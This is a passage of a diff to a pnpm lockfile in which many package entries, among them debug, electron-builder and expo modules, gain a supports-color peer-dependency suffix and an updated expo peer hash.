58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) transitivePeerDependencies: - '@babel/core' - supports-color @@ -18048,11 +17731,11 @@ snapshots: bluebird@3.7.2: {} - body-parser@2.3.0: + body-parser@2.3.0(supports-color@8.1.1): dependencies: bytes: 3.1.2 content-type: 2.0.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) http-errors: 2.0.1 iconv-lite: 0.7.2 on-finished: 2.4.1 @@ -18125,23 +17808,23 @@ snapshots: node-gyp-build: 4.8.4 optional: true - builder-util-runtime@9.7.0: + builder-util-runtime@9.7.0(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) sax: 1.6.1 transitivePeerDependencies: - supports-color - builder-util@26.16.0: + builder-util@26.16.0(supports-color@8.1.1): dependencies: '@types/debug': 4.1.13 - builder-util-runtime: 9.7.0 + builder-util-runtime: 9.7.0(supports-color@8.1.1) chalk: 4.1.2 cross-spawn: 7.0.6 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 10.1.0 - http-proxy-agent: 7.0.2 - https-proxy-agent: 7.0.6 + http-proxy-agent: 7.0.2(supports-color@8.1.1) + https-proxy-agent: 7.0.6(supports-color@8.1.1) js-yaml: 4.3.2 sanitize-filename: 1.6.4 source-map-support: 0.5.21 @@ -18336,11 +18019,11 @@ snapshots: dependencies: mime-db: 1.54.0 - compression@1.8.2: + compression@1.8.2(supports-color@8.1.1): dependencies: bytes: 3.1.2 compressible: 2.0.18 - debug: 2.6.9 + debug: 2.6.9(supports-color@8.1.1) destroy: 1.2.0 negotiator: 0.6.4 on-headers: 1.1.0 @@ -18354,7 +18037,7 @@ snapshots: conf@10.2.0: dependencies: ajv: 8.20.0 - ajv-formats: 2.1.1(ajv@8.20.0) + ajv-formats: 2.1.1 atomically: 1.7.0 debounce-fn: 4.0.0 dot-prop: 6.0.1 @@ -18364,10 +18047,10 @@ snapshots: pkg-up: 3.1.0 semver: 7.8.5 - connect@3.7.0: + connect@3.7.0(supports-color@8.1.1): dependencies: - debug: 2.6.9 - finalhandler: 1.1.2 + debug: 2.6.9(supports-color@8.1.1) + finalhandler: 1.1.2(supports-color@8.1.1) parseurl: 1.3.3 utils-merge: 1.0.1 transitivePeerDependencies: @@ -18493,17 +18176,23 @@ snapshots: dependencies: mimic-fn: 3.1.0 - debug@2.6.9: + debug@2.6.9(supports-color@8.1.1): dependencies: ms: 2.0.0 + optionalDependencies: + supports-color: 8.1.1 - debug@3.2.7: + debug@3.2.7(supports-color@8.1.1): dependencies: ms: 2.1.3 + optionalDependencies: + supports-color: 8.1.1 - debug@4.4.3: + debug@4.4.3(supports-color@8.1.1): dependencies: ms: 2.1.3 + optionalDependencies: + supports-color: 8.1.1 decimal.js@10.6.0: {} @@ -18582,10 +18271,10 @@ snapshots: minimatch: 3.1.5 p-limit: 3.1.0 - dmg-builder@26.16.1(electron-builder-squirrel-windows@26.16.1): + dmg-builder@26.16.1(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1): dependencies: - app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1) - builder-util: 26.16.0 + app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) + builder-util: 26.16.0(supports-color@8.1.1) fs-extra: 10.1.0 js-yaml: 4.3.2 transitivePeerDependencies: @@ -18636,7 +18325,7 @@ snapshots: get-tsconfig: 4.14.3 jiti: 2.7.0 - drizzle-orm@1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3): + drizzle-orm@1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3): optionalDependencies: '@cloudflare/workers-types': 4.20260604.1 '@effect/sql-d1': 4.0.0(effect@4.0.5) @@ -18647,7 +18336,7 @@ snapshots: '@libsql/client': 0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6) bun-types: 1.3.14 effect: 4.0.5 - expo-sqlite: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + expo-sqlite: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) pg: 8.23.0 valibot: 1.2.0(typescript@7.0.2) zod: 4.4.3 @@ -18674,23 +18363,23 @@ snapshots: dependencies: jake: 10.9.4 - electron-builder-squirrel-windows@26.16.1(dmg-builder@26.16.1): + electron-builder-squirrel-windows@26.16.1(dmg-builder@26.16.1)(supports-color@8.1.1): dependencies: - app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1) - builder-util: 26.16.0 - electron-winstaller: 5.4.0 + app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) + builder-util: 26.16.0(supports-color@8.1.1) + electron-winstaller: 5.4.0(supports-color@8.1.1) transitivePeerDependencies: - dmg-builder - supports-color - electron-builder@26.16.1(electron-builder-squirrel-windows@26.16.1): + electron-builder@26.16.1(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1): dependencies: - app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1) - builder-util: 26.16.0 - builder-util-runtime: 9.7.0 + app-builder-lib: 26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) + builder-util: 26.16.0(supports-color@8.1.1) + builder-util-runtime: 9.7.0(supports-color@8.1.1) chalk: 4.1.2 ci-info: 4.4.0 - dmg-builder: 26.16.1(electron-builder-squirrel-windows@26.16.1) + dmg-builder: 26.16.1(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) fs-extra: 10.1.0 lazy-val: 1.0.5 simple-update-notifier: 2.0.0 @@ -18699,12 +18388,12 @@ snapshots: - electron-builder-squirrel-windows - supports-color - electron-publish@26.16.0: + electron-publish@26.16.0(supports-color@8.1.1): dependencies: '@types/fs-extra': 9.0.13 aws4: 1.13.2 - builder-util: 26.16.0 - builder-util-runtime: 9.7.0 + builder-util: 26.16.0(supports-color@8.1.1) + builder-util-runtime: 9.7.0(supports-color@8.1.1) chalk: 4.1.2 form-data: 4.0.6 fs-extra: 10.1.0 @@ -18720,9 +18409,9 @@ snapshots: electron-to-chromium@1.5.430: {} - electron-updater@6.8.9: + electron-updater@6.8.9(supports-color@8.1.1): dependencies: - builder-util-runtime: 9.7.0 + builder-util-runtime: 9.7.0(supports-color@8.1.1) fs-extra: 10.1.0 js-yaml: 4.3.2 lazy-val: 1.0.5 @@ -18740,22 +18429,22 @@ snapshots: optionalDependencies: '@electron-webauthn/macos': 1.3.1(typescript@7.0.2) - electron-winstaller@5.4.0: + electron-winstaller@5.4.0(supports-color@8.1.1): dependencies: '@electron/asar': 3.4.1 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 7.0.1 lodash: 4.18.1 temp: 0.9.4 optionalDependencies: - '@electron/windows-sign': 1.2.2 + '@electron/windows-sign': 1.2.2(supports-color@8.1.1) transitivePeerDependencies: - supports-color - electron@44.9.3: + electron@44.9.3(supports-color@8.1.1): dependencies: '@electron-internal/extract-zip': 1.0.5 - '@electron/get': 5.1.0 + '@electron/get': 5.1.0(supports-color@8.1.1) '@types/node': 24.12.4 transitivePeerDependencies: - supports-color @@ -18925,194 +18614,194 @@ snapshots: expo-application@58.1.2(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2): + expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/image-utils': 0.12.5(typescript@7.0.2) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + '@expo/image-utils': 0.12.5(supports-color@8.1.1)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - supports-color - typescript - expo-audio@58.0.9(patch_hash=2c2f8c73a23d48804c8b537b8cd73c25eb331aa47d82eaa481c6766cb81e5add)(expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-audio@58.0.9(patch_hash=2c2f8c73a23d48804c8b537b8cd73c25eb331aa47d82eaa481c6766cb81e5add)(expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-asset: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-asset: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-auth-session@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2): + expo-auth-session@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2): dependencies: expo-application: 58.1.2(expo@58.0.14) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) expo-crypto: 58.0.7(expo@58.0.14) - expo-linking: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) - expo-web-browser: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo-linking: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) + expo-web-browser: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) invariant: 2.2.4 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - expo - supports-color - typescript - expo-blur@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-blur@58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-build-properties@58.0.11(expo@58.0.14): dependencies: '@expo/schema-utils': 58.0.2 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) resolve-from: 5.0.0 semver: 7.8.5 - expo-camera@58.0.10(@types/emscripten@1.41.5)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-camera@58.0.10(@types/emscripten@1.41.5)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: barcode-detector: 3.2.0(@types/emscripten@1.41.5) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - '@types/emscripten' - expo-clipboard@58.0.3(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-clipboard@58.0.3(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2): + expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/env': 2.5.2 - '@expo/require-utils': 58.0.4(typescript@7.0.2) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + '@expo/env': 2.5.2(supports-color@8.1.1) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - supports-color - typescript expo-crypto@58.0.7(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-dev-launcher: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) - expo-dev-menu: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-dev-launcher: 